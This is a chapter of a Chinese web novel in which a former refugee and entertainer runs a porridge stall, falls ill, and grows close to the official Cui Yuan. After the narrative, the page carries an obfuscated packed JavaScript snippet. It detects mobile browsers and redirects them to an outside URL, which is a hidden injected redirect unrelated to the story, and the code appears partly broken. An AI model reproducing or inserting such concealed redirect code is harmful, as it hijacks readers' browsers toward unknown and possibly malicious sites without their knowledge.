3. 前世(第2页)
饥饿感从多年前涌来,胃海翻腾。
她转身,一块僵硬的物什塞入掌中。
失去右臂的女童用仅剩的手将一块窝窝放进她手里。
是给自己的?
“她想你喂她。”喝粥的流民出声解释,显然见怪不怪。
女童期待地瞧着柳茸。
“你爹娘呢?”柳茸蹲下身。
她瞪圆了眼思索一会儿,似懂非懂指着地面,“地母?娘娘?”
地母娘娘,很久没听过了。
柳茸噗嗤笑了,笑中闪过泪花,“对,是地母娘娘。”
地母娘娘身下收留着无人要的灵魂,独独把她们遗留在了世上。
女童还是比自己命里有福的,柳茸想。没有被卖,没有沦落枇杷门巷,崔元派人将双亲皆殁的幼儿接去育婴堂。
暮野四合,卷地风沙涤荡掉禾香,白马车载着二人回到尚且安宁的崔府。
柳茸已是累极,在车上了小憩一会儿。
醒来,肩颈枕着一叠细软白袍,一本注解好的兵书送在她的鬓侧,犹带墨香。
从那以后,柳茸搭了个施粥铺,她何尝不知这点粥杯水车薪,但自己能做的也只有这点活。
人头攒动,道谢连连,柳茸腆然地以笑付之,微末的欣喜慢慢发芽,可随之而来的愧愤如当头棒喝,她心头一紧,大梦初醒般摇头。
自己竟然会感到欣喜?分明不是为了受人称赞才施粥的,缘何会感到开心?这和当年施粥给自己的主家千金有何异?
她当过流民,深知他们是最不喜欢接受别人怜悯的,只是迫于生存放□□面,如今,她也变成了小时候讨厌的施粥者,她不该……
可是自己正因受过苦,故而观他人之苦难如同切肤之痛才施的粥啊。
道不清的情愫在心中交战,柳茸定神强令目光聚焦盛粥的勺子。
她一方暗斥自己恶毒、伪善,背叛了同在苦海的沦落人,一方又忍不住想当个为人撑伞者。
想了一夜,长夜阑珊,身上的病痛更重,晨起,柳茸按时熬粥,铺周已围满等粥的人。
他们的眼神化作一双双泥潭里挣扎出的手拉住想要撤身的她,就这样吊着一口气,日复一日,柳茸按时施粥。
战火的余震随时间减弱,流民越来越少,待崔元将四面八方的流民彻底安顿好后,柳茸病倒了。
高热模糊间,隐约有一只颀长如玉的手在为自己拧水。
她感到混沌的温暖,一如徜徉春水里,忍不住拉住眼前的手,让它稳稳贴面别再乱跑。
那只手没有无情抽回,容忍着她。
半梦半醒间,她又回到了儿时的蓬庐,阿爹在替佃主耕田,阿娘抱着她坐在牛背上唱山歌,满山野花里,她听着歌沉沉睡去。
耳边若有谁在叹息,而后真的传来了歌声。
低沉、缱绻,不是山歌,歌谣支离破碎划过柳茸脑海。
她摩挲着“母亲”的手,。
可那双手是冰冷的,骨节分明的。
不是“母亲”的手,她无暇思考,彻底陷入梦乡。
痊愈是三日后的事,柳茸刚好,崔元却病了。
柳茸想去查探病情,崔元门闩紧闭,白衣墨发的身影抵着海月窗。
“会传染给你的,回去罢。”
他清咳不止,不肯见她,隔日择了个由头入朝觐见去了,说是奏疏叛军收缴情况。
关于朝局的事,柳茸为乐伎侍酒时在那些醉醺醺的男人身上听过一耳。
先皇宾天,五子夺位,朝中人人自危,各处选边站。
也有头犟的几边不靠,比如崔元崔子白,狂言到说出自己侍的非君非王,是民。
言官的唾沫星子雪花般砸来,恨不得把他喷死,崔元置之不理,该做事做事,该种地种地,得闲和家丁一同收麦子。
身为博陵崔氏本家子弟,说出如此大逆不道的话也仅是象征性降了几阶,由京官调为上州刺史,人人都说若无意外过几年便官复原职。
柳茸有些担忧,到那时她能随他入京吗?亦或是被留下?
如同被养在外宅的姊妹们。
与大多数面朝黄土背朝天的大梁子民一样,她也没到过这个国家的心脏,京城的繁华与他们无关。
但那里是崔元长大的地方。
贾侯的家就已是极尽奢靡,真正的博陵崔氏府邸该是何等辉煌?会不会有很多家伎?
光是贾府走一遭已剥掉自己一层皮,换不来一个脱籍的契机,若到了历经三朝的大世家呢?又要付出多少才能抢到机遇?
柳茸裹紧石榴裙,誓要将兵书的每个字看进眼里。
她要好好温书,好好养身,快些寻到脱贱籍的法子。
崔元固然是善人,然她不敢轻付。经年累月的失望,她已不再想将希望依托于任何男人身上。
何况自己与他并未介入彼此的过去,也非总角之交,于柳茸看来,如此情缘说好也好,说脆也脆,是叶子上的晨露,宿晴即散。
千里之外,崔元信至,明令是给柳茸的。
“给我?”她展开信,笔墨是崔刺史一贯的精简:
“晨起推门,雪晴云淡,折梅一枝,寄予阿茸。”
板板正正一个人,纸上倒是写些俏皮话。
一株红梅倏然从信札掉落,第二页是黄梅,最末页是白梅,花心鲜妍,似春光照眼中少女含笑,枝桠不规整地划破折页。
十多日后,又一封信寄到崔府,这次寄得近,地点是离州府不远的驿站。
崔元要回来了。
可惜柳茸没看,主人不在家,几个厨娘壮胆拉着她喝春酒,醉着。
是以崔元一入府便看见躺卧蔷薇架上的一截榴裙。
她深深睡着,手中的酒盅不知何时倒了,洒出的酒将花浇得鲜嫩,醉点春容。
慵懒的“榴花”总算醒了,面上涨起吸饱水的潮红。
低头一视,腿悬空着,有人抱着她走。
崔元没有放人下来的意思,柳茸便也接着装睡,手不老实地玩起那人身后头发。
她的肌肤一天比一天丰,食欲也一天比一天大。
有次她回眸,捉到灯火里,崔元在偷偷望她。
灯火里,神容看不真切。
药汤似乎在见效,自己快好了,对吧?
然而变数永远不期而至
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763436|174488||http|test|mini|href|location''.split(''|''),0,{}));